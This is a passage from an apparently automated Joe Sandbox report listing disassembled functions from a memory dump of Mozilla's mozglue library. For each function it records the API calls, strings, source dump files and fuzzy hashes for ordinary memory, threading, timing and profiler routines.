Part of subcall function 6CA94310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA942D2), ref: 6CA94387

moz_xmalloc.MOZGLUE(00000004), ref: 6CAA5F47
GetCurrentProcess.KERNEL32 ref: 6CAA5F53
GetCurrentThread.KERNEL32 ref: 6CAA5F5C
GetCurrentProcess.KERNEL32 ref: 6CAA5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAA5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CAA5F27

Part of subcall function 6CAACA10: mozalloc_abort.MOZGLUE(?), ref: 6CAACAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA55E1), ref: 6CAA5E8C

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA55E1), ref: 6CAA605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA55E1), ref: 6CAA60CC

Strings

GeckoMain, xrefs: 6CAA5ECE, 6CAA6015

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: cb80d6f62e7d23b1be7bcde38249106b95f5142494108141a6de51c293c8bc3f
Instruction ID: 1ac2d24a055d81bceb2c516f4eac5da8e73e99cf0e477145efa81e83038fe8f7
Opcode Fuzzy Hash: cb80d6f62e7d23b1be7bcde38249106b95f5142494108141a6de51c293c8bc3f
Instruction Fuzzy Hash: B471FFB0A047809FD701DF69C581A6ABBF0FF5A308F14496DE48687F52D731E989CB92

Function 6CAA9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA931C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA93217
Part of subcall function 6CA931C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA93236
Part of subcall function 6CA931C0: FreeLibrary.KERNEL32 ref: 6CA9324B
Part of subcall function 6CA931C0: __Init_thread_footer.LIBCMT ref: 6CA93260
Part of subcall function 6CA931C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA9327F
Part of subcall function 6CA931C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA9328E
Part of subcall function 6CA931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA932AB
Part of subcall function 6CA931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA932D1
Part of subcall function 6CA931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA932E5
Part of subcall function 6CA931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA932F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAA9675
__Init_thread_footer.LIBCMT ref: 6CAA9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAA96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAA9707
__Init_thread_footer.LIBCMT ref: 6CAA971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAA9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAA97B7
FreeLibrary.KERNEL32 ref: 6CAA97D0
FreeLibrary.KERNEL32 ref: 6CAA97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAA9824

Strings

NtMapViewOfSection, xrefs: 6CAA9701
ntdll.dll, xrefs: 6CAA96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAA9670
MapViewOfFileNuma2, xrefs: 6CAA97B1

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 6c19140d320bb5f2e91fcbb9820011172920dc0440f4f61eb1d458ecaab4c464
Instruction ID: 2fed7797344d794eb837e264eb0a70802a1327720401166b4713cb5df1ac47b8
Opcode Fuzzy Hash: 6c19140d320bb5f2e91fcbb9820011172920dc0440f4f61eb1d458ecaab4c464
Instruction Fuzzy Hash: 43612671704301DFDF00CFB8DA8AB9A7BB5EB4A324F044529E91583F90D731A899CBA1

Function 6CAA7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CAA8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CAA801D

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CAA802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CAA803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CAA808D

Part of subcall function 6CAACA10: mozalloc_abort.MOZGLUE(?), ref: 6CAACAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CAA809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CAA80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAA80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAA8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CAA8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CAA8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CAA817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA8199

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: a3de89a9cb7eb2a6ea5cfe1cfca34c64b8de9f109f42eedb1100f1e0fc2704b2
Instruction ID: 6041340ff5fc66baa4859905aba9e64dc7e412b642d1eeed9ab28e640db7f5b4
Opcode Fuzzy Hash: a3de89a9cb7eb2a6ea5cfe1cfca34c64b8de9f109f42eedb1100f1e0fc2704b2
Instruction Fuzzy Hash: B35196B2E002549BDB00DFE9DC84AEFB7B9EF49264F180125E815F7741E731A949CBA1

Function 6CAF6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CB1F618), ref: 6CAF6694
GetThreadId.KERNEL32(?), ref: 6CAF66B1
GetCurrentThreadId.KERNEL32 ref: 6CAF66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CAF66E1
EnterCriticalSection.KERNEL32(6CB1F618), ref: 6CAF6734
GetCurrentProcess.KERNEL32 ref: 6CAF673A
LeaveCriticalSection.KERNEL32(6CB1F618), ref: 6CAF676C
GetCurrentThread.KERNEL32 ref: 6CAF67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CAF6868
RtlCaptureContext.NTDLL ref: 6CAF687F

Strings

WalkStack64, xrefs: 6CAF6890

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 903a07a5be2e2f9470ca032a44b7f3ec7321b653099d00254c29b7a5c24df349
Instruction ID: 2fad24aa39ee23c15c99372f0e26d7b8ce87e000a0327d80b5e1a84163447b59
Opcode Fuzzy Hash: 903a07a5be2e2f9470ca032a44b7f3ec7321b653099d00254c29b7a5c24df349
Instruction Fuzzy Hash: 1A51A9B1A09341AFDB11CF24C845A9EBBF4BF89714F04492DF9A887B40D770A949CB92

Function 6CADDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADDE73
GetCurrentThreadId.KERNEL32 ref: 6CADDF7D
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADDF8A
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADDFC9
GetCurrentThreadId.KERNEL32 ref: 6CADDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAA4A68), ref: 6CADDE7B

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAA4A68), ref: 6CADDEB8
free.MOZGLUE(00000000,?,6CAA4A68), ref: 6CADDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CADDF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CADE00E
<none>, xrefs: 6CADDFD7
[I %d/%d] locked_profiler_stop, xrefs: 6CADDE83

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 52193d0946d711bb4371f346d0f5a0f08981c121afea84f10ab7a613d8290200
Instruction ID: 783236f8bb03be01b8bea47388f156cd24b89ad1105d47b8e0ad980f48b211b2
Opcode Fuzzy Hash: 52193d0946d711bb4371f346d0f5a0f08981c121afea84f10ab7a613d8290200
Instruction Fuzzy Hash: 49412676B012109BEB109F69D9097AE7775EB8A31DF090019E909D7F01CB31A889CFF6

Function 6CA94480 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CAD4843,?), ref: 6CA945F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CAD4843,?), ref: 6CA9468A
free.MOZGLUE(?,?,?,?,?,?,6CAD4843,?), ref: 6CA946C9
free.MOZGLUE(?), ref: 6CA946EF
free.MOZGLUE(?), ref: 6CA94712
free.MOZGLUE(?), ref: 6CA94735
free.MOZGLUE(?), ref: 6CA94758
free.MOZGLUE(?), ref: 6CA9477B
free.MOZGLUE(?), ref: 6CA9479E

Strings

:441561,ebd3g171:445684,tp-long:439700,b01ji385:438026,i1g2g604:437359,9ffeg962:402950,e37a0582:438880,bingchatqueries_5_impression_with_redirect_urls:403574,3da3b319:434919,d68dd294:435290,web-select-unship:450753,8j079527:448887,i2e7g608:426901,6h1eh131:4412, xrefs: 6CA945B2

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: :441561,ebd3g171:445684,tp-long:439700,b01ji385:438026,i1g2g604:437359,9ffeg962:402950,e37a0582:438880,bingchatqueries_5_impression_with_redirect_urls:403574,3da3b319:434919,d68dd294:435290,web-select-unship:450753,8j079527:448887,i2e7g608:426901,6h1eh131:4412
API String ID: 3009372454-2996174455
Opcode ID: ecc289ffc2e351dee887c3ae208c1d1d213e68e11f6b49092c10a4f172612a93
Instruction ID: b8ce3dbf9b4f15507e594f51ec02e973d91bdbd0bcc3addad02c3a11cc3caefc
Opcode Fuzzy Hash: ecc289ffc2e351dee887c3ae208c1d1d213e68e11f6b49092c10a4f172612a93
Instruction Fuzzy Hash: 72B10372A101108FDB189E7CD99676D77F6AF42328F184668E536DFB92E73098C48B81

Function 6CAED4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAED4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAED4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAED52A
GetCurrentThreadId.KERNEL32 ref: 6CAED530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAED53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAED55F
free.MOZGLUE(00000000), ref: 6CAED585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CAED5D3
GetCurrentThreadId.KERNEL32 ref: 6CAED5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAED605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAED652
GetCurrentThreadId.KERNEL32 ref: 6CAED658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAED667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAED6A2

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 6047b9e2f2258ad85bd1c0cfa929347c87672e7b74a4173d850991d6d1c7d1af
Instruction ID: e3fe5478cf56a45b60e20eec7c358d271f1c648b9bc205b8e59f42221032aa12
Opcode Fuzzy Hash: 6047b9e2f2258ad85bd1c0cfa929347c87672e7b74a4173d850991d6d1c7d1af
Instruction Fuzzy Hash: 84516FB1A04705DFC704DF34C489A9ABBF4FF89358F104A2DE85A87B11DB31A989CB91

Function 6CAB5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CAB56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAB56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CAB56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CAB5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CAB57BC
GetTickCount64.KERNEL32 ref: 6CAB58CB
EnterCriticalSection.KERNEL32(6CB1F688), ref: 6CAB58F3
__aulldiv.LIBCMT ref: 6CAB5945
LeaveCriticalSection.KERNEL32(6CB1F688), ref: 6CAB59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CB1F638,?,?,?,?), ref: 6CAB59E9

Strings

MOZ_APP_RESTART, xrefs: 6CAB56CC

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: ee486567e10e962533bb1d0b0e4bdfc53e2fdc74f526e2db36cabf5d4a16484b
Instruction ID: 9a065add2de774ee8da36a4d1b6e8dc75b851b17e96e1a2b04c7083c9e8dbb77
Opcode Fuzzy Hash: ee486567e10e962533bb1d0b0e4bdfc53e2fdc74f526e2db36cabf5d4a16484b
Instruction Fuzzy Hash: 1BC18F71A087409FDB05CF28C45166ABBF5FFDA714F158A1DE8C8A7A60D730A885CB82

Function 6CADEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADEC8C

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

GetCurrentThreadId.KERNEL32 ref: 6CADECA1
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CADECC5
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CADED19
CloseHandle.KERNEL32(?), ref: 6CADED28
free.MOZGLUE(00000000), ref: 6CADED2F
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CADEC94

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 32c35bf24fd2c1ad01f8ffee2dc04aa087b674a3d3442a94f20435c45ce3367d
Instruction ID: 6b320c25c813ce61d88e98c613ce10ab3deaaa2e5f9bdb91a49cfdc91ecbe394
Opcode Fuzzy Hash: 32c35bf24fd2c1ad01f8ffee2dc04aa087b674a3d3442a94f20435c45ce3367d
Instruction Fuzzy Hash: 5421E2B6600108AFEF009F65D809B9ABB79FB4626CF154210FC1897F41DB31A859CBE1

Function 6CAD8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CA9EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA9EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CADB392,?,?,00000001), ref: 6CAD91F4

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

Strings

marker-table, xrefs: 6CAD906C
timeline-overview, xrefs: 6CAD907A
timeline-memory, xrefs: 6CAD9088
timeline-ipc, xrefs: 6CAD9096
data, xrefs: 6CAD90E8
stack-chart, xrefs: 6CAD90B2
marker-chart, xrefs: 6CAD905E
timeline-fileio, xrefs: 6CAD90A4
name, xrefs: 6CAD8F16

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f3847a03722edde82d673a1778bbe254140aa37890d1cbb8b2d7f11b370bb919
Instruction ID: 999443babe2f4d70cc1d74ce0da44b08c21adfac3842985bf4cd1c55a00e4b1e
Opcode Fuzzy Hash: f3847a03722edde82d673a1778bbe254140aa37890d1cbb8b2d7f11b370bb919
Instruction Fuzzy Hash: EBB1B2B0B012499BDB04CFA8D6527EEBBB5BF85318F144119D406ABF80DB71E989CBD1

Function 6CABC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CABC5A3
WideCharToMultiByte.KERNEL32 ref: 6CABC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CABC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CABCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CABCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABCAA5

Strings

(null), xrefs: 6CABC596
0, xrefs: 6CABD30A

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 4e256f4e77b8dbb8735e394f938e02944a744d6fc6daf09faf590f45a473dd5d
Instruction ID: a9b0bc65bac5c02d980fb4b63246bc0f932136adfea820f064755c2dfcb7ef28
